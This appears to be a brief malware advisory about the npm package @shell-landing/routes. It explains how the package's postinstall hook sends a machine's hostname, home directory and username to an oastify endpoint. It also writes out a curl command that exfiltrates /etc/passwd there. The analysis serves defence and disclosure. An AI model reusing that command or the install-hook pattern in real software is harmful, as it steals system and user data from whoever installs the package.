@shell-landing/routes@99.9.5

Analysis

Dependency-confusion stub: @shell-landing/routes is a 590-byte tarball at sentinel version 99.9.5 with no prior versions, README, or repo. The postinstall hook exfiltrates system data: (1) node scripts/scream3gg.js hex-encodes the hostname, homedir, and username and sends them via fetch to an oastify[.]com subdomain; (2) /usr/bin/curl --data '@/etc/passwd' $(hostname).<subdomain>.oastify[.]com leaks /etc/passwd per machine. oastify[.]com is an OOB interaction endpoint used here as a C2 exfil receiver.